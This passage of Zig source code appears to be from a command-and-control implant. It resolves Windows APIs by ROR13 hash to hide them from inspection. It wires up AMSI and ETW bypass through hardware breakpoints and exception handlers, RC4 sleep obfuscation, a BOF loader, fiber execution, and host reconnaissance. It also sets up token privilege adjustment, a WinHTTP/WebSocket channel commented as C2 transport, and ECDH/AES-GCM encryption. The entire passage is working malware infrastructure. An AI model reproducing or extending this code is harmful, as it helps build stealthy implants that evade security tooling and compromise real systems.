    if (exec_delete_critical_section == null) {
        if (resolve.resolve_api(k32_hash, hash_ror13("DeleteCriticalSection"))) |p| {
            exec_delete_critical_section = @ptrCast(p);
        }
    }

    if (comms_load_library_a == null) {
        if (resolve.resolve_api(k32_hash, hash_ror13("LoadLibraryA"))) |p| {
            comms_load_library_a = @ptrCast(p);
            bof_load_library_a = @ptrCast(p);
        }
    }

    if (info_get_computer_name_a == null) {
        if (resolve.resolve_api(k32_hash, hash_ror13("GetComputerNameA"))) |p| {
            info_get_computer_name_a = @ptrCast(p);
        }
    }
    if (info_get_user_name_a == null) {
        if (comms_load_library_a) |la| {
            _ = la("advapi32.dll");
        }
        if (resolve.resolve_api(k32_hash, hash_ror13("GetUserNameA"))) |p| {
            info_get_user_name_a = @ptrCast(p);
        }
    }
    if (info_get_system_info == null) {
        if (resolve.resolve_api(k32_hash, hash_ror13("GetSystemInfo"))) |p| {
            info_get_system_info = @ptrCast(p);
        }
    }
    if (info_get_current_process_id == null) {
        if (resolve.resolve_api(k32_hash, hash_ror13("GetCurrentProcessId"))) |p| {
            info_get_current_process_id = @ptrCast(p);
        }
    }
    if (info_get_system_time == null) {
        if (resolve.resolve_api(k32_hash, hash_ror13("GetSystemTime"))) |p| {
            info_get_system_time = @ptrCast(p);
        }
    }

    if (fiber_ConvertThreadToFiber == null) {
        if (resolve.resolve_api(k32_hash, hash_ror13("ConvertThreadToFiber"))) |p| {
            fiber_ConvertThreadToFiber = @ptrCast(p);
        }
    }
    if (fiber_CreateFiber == null) {
        if (resolve.resolve_api(k32_hash, hash_ror13("CreateFiber"))) |p| {
            fiber_CreateFiber = @ptrCast(p);
        }
    }
    if (fiber_SwitchToFiber == null) {
        if (resolve.resolve_api(k32_hash, hash_ror13("SwitchToFiber"))) |p| {
            fiber_SwitchToFiber = @ptrCast(p);
        }
    }
    if (fiber_DeleteFiber == null) {
        if (resolve.resolve_api(k32_hash, hash_ror13("DeleteFiber"))) |p| {
            fiber_DeleteFiber = @ptrCast(p);
        }
    }
    if (fiber_ConvertFiberToThread == null) {
        if (resolve.resolve_api(k32_hash, hash_ror13("ConvertFiberToThread"))) |p| {
            fiber_ConvertFiberToThread = @ptrCast(p);
        }
    }

    if (sleep_VirtualQuery == null) {
        if (resolve.resolve_api(k32_hash, hash_ror13("VirtualQuery"))) |p| {
            sleep_VirtualQuery = @ptrCast(p);
        }
    }

    if (amsi_load_library_w == null) {
        if (resolve.resolve_api(k32_hash, hash_ror13("LoadLibraryW"))) |p| amsi_load_library_w = @ptrCast(p);
    }
    if (etw_get_module_handle_w == null) {
        if (resolve.resolve_api(k32_hash, hash_ror13("GetModuleHandleW"))) |p| etw_get_module_handle_w = @ptrCast(p);
    }

    if (bof_get_proc_address == null) {
        if (resolve.resolve_api(k32_hash, hash_ror13("GetProcAddress"))) |p| {
            bof_get_proc_address = @ptrCast(p);
            amsi_get_proc_address = @ptrCast(p);
            etw_get_proc_address = @ptrCast(p);
        }
    }
    if (bof_get_module_handle_a == null) {
        if (resolve.resolve_api(k32_hash, hash_ror13("GetModuleHandleA"))) |p| bof_get_module_handle_a = @ptrCast(p);
    }
    if (bof_virtual_alloc == null) {
        if (resolve.resolve_api(k32_hash, hash_ror13("VirtualAlloc"))) |p| bof_virtual_alloc = @ptrCast(p);
    }
    if (bof_virtual_free == null) {
        if (resolve.resolve_api(k32_hash, hash_ror13("VirtualFree"))) |p| bof_virtual_free = @ptrCast(p);
    }

    if (bof_virtual_protect == null or sleep_VirtualProtect == null or etw_virtual_protect == null) {
        if (resolve.resolve_api(k32_hash, hash_ror13("VirtualProtect"))) |p| {
            if (bof_virtual_protect == null) bof_virtual_protect = @ptrCast(p);
            if (sleep_VirtualProtect == null) sleep_VirtualProtect = @ptrCast(p);
            if (etw_virtual_protect == null) etw_virtual_protect = @ptrCast(p);
        }
    }

    if (amsi_add_vectored_exception_handler == null) {
        if (resolve.resolve_api(k32_hash, hash_ror13("AddVectoredExceptionHandler"))) |p| amsi_add_vectored_exception_handler = @ptrCast(p);
    }
    if (amsi_get_current_thread == null) {
        if (resolve.resolve_api(k32_hash, hash_ror13("GetCurrentThread"))) |p| amsi_get_current_thread = @ptrCast(p);
    }
    if (amsi_set_thread_context == null) {
        if (resolve.resolve_api(k32_hash, hash_ror13("SetThreadContext"))) |p| amsi_set_thread_context = @ptrCast(p);
    }
    if (amsi_suspend_thread == null) {
        if (resolve.resolve_api(k32_hash, hash_ror13("SuspendThread"))) |p| amsi_suspend_thread = @ptrCast(p);
    }
    if (amsi_resume_thread == null) {
        if (resolve.resolve_api(k32_hash, hash_ror13("ResumeThread"))) |p| amsi_resume_thread = @ptrCast(p);
    }

    // HWBP globals — same APIs as AMSI, shared
    if (hwbp_add_veh == null) hwbp_add_veh = amsi_add_vectored_exception_handler;
    if (hwbp_get_thread == null) hwbp_get_thread = amsi_get_current_thread;
    if (hwbp_set_thread_ctx == null) hwbp_set_thread_ctx = amsi_set_thread_context;

    // 2k. ntdll.dll — RtlGetVersion, SystemFunction032 (RC4 sleep)
    if (info_rtl_get_version == null) {
        if (resolve.resolve_api(ntdll_hash, hash_ror13("RtlGetVersion"))) |p| info_rtl_get_version = @ptrCast(p);
    }
    if (sleep_SystemFunction032 == null) {
        if (resolve.resolve_api(ntdll_hash, hash_ror13("SystemFunction032"))) |p| sleep_SystemFunction032 = @ptrCast(p);
    }

    // 2l. winhttp.dll — HTTP/WebSocket C2 transport. Lazy-loaded on first comms attempt.
    if (comms_load_library_a != null and (comms_winhttp_open == null or comms_winhttp_connect == null or comms_winhttp_open_request == null or comms_winhttp_send_request == null or comms_winhttp_receive_response == null or comms_winhttp_read_data == null or comms_winhttp_websocket_complete_upgrade == null)) {
        _ = comms_load_library_a.?("winhttp.dll");
        if (resolve.resolve_api(winhttp_hash, hash_ror13("WinHttpOpen"))) |p| comms_winhttp_open = @ptrCast(p);
        if (resolve.resolve_api(winhttp_hash, hash_ror13("WinHttpConnect"))) |p| comms_winhttp_connect = @ptrCast(p);
        if (resolve.resolve_api(winhttp_hash, hash_ror13("WinHttpOpenRequest"))) |p| comms_winhttp_open_request = @ptrCast(p);
        if (resolve.resolve_api(winhttp_hash, hash_ror13("WinHttpSetOption"))) |p| comms_winhttp_set_option = @ptrCast(p);
        if (resolve.resolve_api(winhttp_hash, hash_ror13("WinHttpSendRequest"))) |p| comms_winhttp_send_request = @ptrCast(p);
        if (resolve.resolve_api(winhttp_hash, hash_ror13("WinHttpReceiveResponse"))) |p| comms_winhttp_receive_response = @ptrCast(p);
        if (resolve.resolve_api(winhttp_hash, hash_ror13("WinHttpReadData"))) |p| comms_winhttp_read_data = @ptrCast(p);
        if (resolve.resolve_api(winhttp_hash, hash_ror13("WinHttpCloseHandle"))) |p| comms_winhttp_close_handle = @ptrCast(p);
        if (resolve.resolve_api(winhttp_hash, hash_ror13("WinHttpAddRequestHeaders"))) |p| comms_winhttp_add_request_headers = @ptrCast(p);
        if (resolve.resolve_api(winhttp_hash, hash_ror13("WinHttpQueryDataAvailable"))) |p| comms_winhttp_query_data_available = @ptrCast(p);
        if (resolve.resolve_api(winhttp_hash, hash_ror13("WinHttpWebSocketCompleteUpgrade"))) |p| comms_winhttp_websocket_complete_upgrade = @ptrCast(p);
        if (resolve.resolve_api(winhttp_hash, hash_ror13("WinHttpWebSocketSend"))) |p| comms_winhttp_websocket_send = @ptrCast(p);
        if (resolve.resolve_api(winhttp_hash, hash_ror13("WinHttpWebSocketReceive"))) |p| comms_winhttp_websocket_receive = @ptrCast(p);
        if (resolve.resolve_api(winhttp_hash, hash_ror13("WinHttpWebSocketClose"))) |p| comms_winhttp_websocket_close = @ptrCast(p);
    }

    // 2i continued. advapi32 — LookupPrivilegeValueW, AdjustTokenPrivileges
    const advapi_hash = hash_ror13("advapi32.dll");
    if (priv_get_current_process == null) {
        if (resolve.resolve_api(k32_hash, hash_ror13("GetCurrentProcess"))) |p| priv_get_current_process = @ptrCast(p);
    }
    if (priv_lookup_privilege_value_w == null or priv_adjust_token_privileges == null) {
        _ = resolve.get_module_by_hash(advapi_hash);
        if (resolve.resolve_api(advapi_hash, hash_ror13("LookupPrivilegeValueW"))) |p| priv_lookup_privilege_value_w = @ptrCast(p);
        if (resolve.resolve_api(advapi_hash, hash_ror13("AdjustTokenPrivileges"))) |p| priv_adjust_token_privileges = @ptrCast(p);
    }

    // 2m. bcrypt.dll — full ECDH + AES-GCM crypto suite. Loaded on first encrypt/decrypt.
    if (crypto_bcrypt_open == null) {
        if (resolve.get_module_by_hash(bcrypt_hash) == null) {
            if (comms_load_library_a) |la| _ = la("bcrypt.dll");
        }
        if (resolve.resolve_api(bcrypt_hash, hash_ror13("BCryptOpenAlgorithmProvider"))) |p| crypto_bcrypt_open = @ptrCast(p);
        if (resolve.resolve_api(bcrypt_hash, hash_ror13("BCryptCloseAlgorithmProvider"))) |p| crypto_bcrypt_close = @ptrCast(p);
        if (resolve.resolve_api(bcrypt_hash, hash_ror13("BCryptSetProperty"))) |p| crypto_bcrypt_set_prop = @ptrCast(p);
        if (resolve.resolve_api(bcrypt_hash, hash_ror13("BCryptGenerateSymmetricKey"))) |p| crypto_bcrypt_gen_key = @ptrCast(p);
        if (resolve.resolve_api(bcrypt_hash, hash_ror13("BCryptDestroyKey"))) |p| crypto_bcrypt_destroy_key = @ptrCast(p);
        if (resolve.resolve_api(bcrypt_hash, hash_ror13("BCryptEncrypt"))) |p| crypto_bcrypt_encrypt = @ptrCast(p);
        if (resolve.resolve_api(bcrypt_hash, hash_ror13("BCryptDecrypt"))) |p| crypto_bcrypt_decrypt = @ptrCast(p);
        if (resolve.resolve_api(bcrypt_hash, hash_ror13("BCryptGenRandom"))) |p| crypto_bcrypt_gen_random = @ptrCast(p);
        if (resolve.resolve_api(bcrypt_hash, hash_ror13("BCryptGenerateKeyPair"))) |p| crypto_bcrypt_gen_key_pair = @ptrCast(p);
        if (resolve.resolve_api(bcrypt_hash, hash_ror13("BCryptFinalizeKeyPair"))) |p| crypto_bcrypt_finalize_key_pair = @ptrCast(p);
        if (resolve.resolve_api(bcrypt_hash, hash_ror13("BCryptExportKey"))) |p| crypto_bcrypt_export_key = @ptrCast(p);
        if (resolve.resolve_api(bcrypt_hash, hash_ror13("BCryptImportKeyPair"))) |p| crypto_bcrypt_import_key_pair = @ptrCast(p);
        if (resolve.resolve_api(bcrypt_hash, hash_ror13("BCryptSecretAgreement"))) |p| crypto_bcrypt_secret_agreement = @ptrCast(p);
        if (resolve.resolve_api(bcrypt_hash, hash_ror13("BCryptDeriveKey"))) |p| crypto_bcrypt_derive_key = @ptrCast(p);
        if (resolve.resolve_api(bcrypt_hash, hash_ror13("BCryptDestroySecret"))) |p| crypto_bcrypt_destroy_secret = @ptrCast(p);
    }
}